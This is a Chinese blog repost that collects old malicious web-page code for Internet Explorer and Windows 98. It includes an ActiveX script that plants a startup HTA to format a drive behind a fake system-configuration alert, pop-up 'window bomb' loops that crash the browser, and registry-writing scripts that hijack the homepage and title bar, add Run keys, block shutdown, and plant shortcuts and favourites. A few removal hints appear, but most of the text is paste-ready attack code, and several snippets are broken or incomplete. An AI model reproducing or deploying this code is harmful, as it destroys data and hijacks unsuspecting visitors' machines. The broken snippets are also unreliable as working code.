网页恶意代码大总结

关注

转载最新推荐文章于 2026-07-10 11:28:39 发布 1.3k 阅读 AI 写同款· GEO 优化 ›

恶意代码(病毒，木马)分析及防治研究如今的计算机病毒正在不断的推陈出新，其中包括一些独特的新型病毒暂时无法按照常规的类型进行分类，如互联网病毒（通过网络进行传播，一些携带病毒的数据越来越多）、电子邮件病毒等。计算机病毒是人为制造的，有破坏性，又有传染性和潜伏性的，对计算机信息或系统起破坏作用的程序。当我们的预防意识不强时，比如运行其他人发送的所谓的MM图片和动画片，他们也会感染病毒。蠕虫不同于其他的病毒，如不利用文件寄生（没有宿主程序），在IP网络中利用系统的漏洞进行扫描和入侵，导致网络被阻塞，以及和黑客技术相结合对网络进行攻击等。阅读详情

————————> 格式化硬盘
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<script>
scr.Reset();
scr.Path="C://windows//Men?inicio//Programas//Inicio//automat.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><script>wsh.Run('start /m format a: /q /autotest /u');alert('IMPORTANT : Windows is configuring the system. Plase do not interrupt this process.');</"+"script>";
scr.write();

———恶性代码专区———
————————> 使 WINDOWS 98掉线的代码

————————> 视窗炸弹

function WindowBomb()
{
var iCounter = 0 // dummy counter

while (true)
{
window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}

</script>
</BODY>

</HTML>

————————> 造成IE 5.0崩溃的代码

<HTML>
<BODY>
<script>
var color = new Array;
color[1] = "black";
color[2] = "white";
for(x = 0; x <3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
</script>
</BODY>
</HTML>

————————> 进入WINDOWS 之前弹出来的对话框代码到注册表找到 LegalNoticeCaption ， LegalNoticeText 删除

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "这里是标题栏网络联盟 i50.126.com");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "这里是标题栏网络联盟 i50.126.com");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "请多留意本站的文章 i50.yjpc.com");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "请多留意本站的文章 i50.yjpc.com");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————> 造成 WINDOWS98 不能关机的代码。

到注册表找到 FastReboot 删除就OK

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKLM//System//CurrentControlSet//Control//Shutdown//FastReboot", "1");
Shl.RegWrite ("HKCU//System//CurrentControlSet//Control//Shutdown//FastReboot", "1");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————>视窗炸弹代码

function WindowBomb()
{
var iCounter = 0 // dummy counter

while (true)
{
window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}

</script>
</BODY>

</HTML>

————————>让IE不段循环的代码

<HTML>
<HEAD>
<TITLE>f/*/*k USA</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=gb2312">
</HEAD>
<BODY onload="WindowBomb()">
<script LANGUAGE="java script">
function WindowBomb()
{
var iCounter = 0 // dummy counter
while (true)
{
window.open("http://i50.126.com","CRASHING" + iCounter,"width=1,height=1,resizable=no")
iCounter++
}
}
</script>
</BODY>
</HTML>

————————>让电脑自动启动程序的代码。

修改方法找到相应键值 http://i50.yjpc.com/ 删除

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Run//", "http://i50.yjpc.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>

———————>自动设成主页代码

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://i50.126.com/");
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Start Page", "http://i50.126.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————>修改IE标题栏目。

修改方法将以下代码中可以换的换成你想换的

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "————（Ｉ５０.１２６.ＣＯＭ）————（网络联盟黑客安全网络）————（Ｉ５０.ＹＪＰＣ.ＣＯＭ）");
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "————（Ｉ５０.１２６.ＣＯＭ）————（网络联盟黑客安全网络）————（Ｉ５０.ＹＪＰＣ.ＣＯＭ）");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————>在右键加进网页链接。

修改方法：到注册表找到 MenuExt 把它删除就OK

function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————> IE 的 INTERNET 选项的主页条失去作用变灰的代码。

修改方法，找到 HomePage 删除就OK

function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————>回收站给改了名字的修改方法：

打开注册表找到 {645FF040-5081-101B-9F08-00AA002F954E} 修改就 OK

修改回收站的代码

try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU//Software//CLASSES//CLSID//{645FF040-5081-101B-9F08-00AA002F954E}//", "回收站");
Shl.RegWrite ("HKLM//Software//CLASSES//CLSID//{645FF040-5081-101B-9F08-00AA002F954E}//", "回收站");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————>注册表给锁住了，

解决方法：打开本站已经设置好了的网页就OK 《注册表解锁》

锁注册表的代码

function init()
{
setTimeout("f()", 1000);
}
init();</script>

————————>在收藏夹生成文件的代码

将以下代码加进网页后，只要别人一打开就可以自动加进收藏夹

————————>在桌面生成的网页文件

以下代码就是在桌面上生成一份网页的文件，一按打开的就是你的网页

function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}

try{
//if (documents .cookie.indexOf("ChgLive") == -1)
//{

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "Interine Explorer");
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
documents .cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "//Favorites";
if(!FSO.FolderExists(loc)) {
loc = FSO.GetDriveName(WF) + "//Documents and Settings//" + Net.UserName + "//Favorites";
if(!FSO.FolderExists(loc)) {
return;
}
}
AddFavLnk("C://WINDOWS//Desktop", "中国民间黑客网络", "http://i50.126.com");
//}
}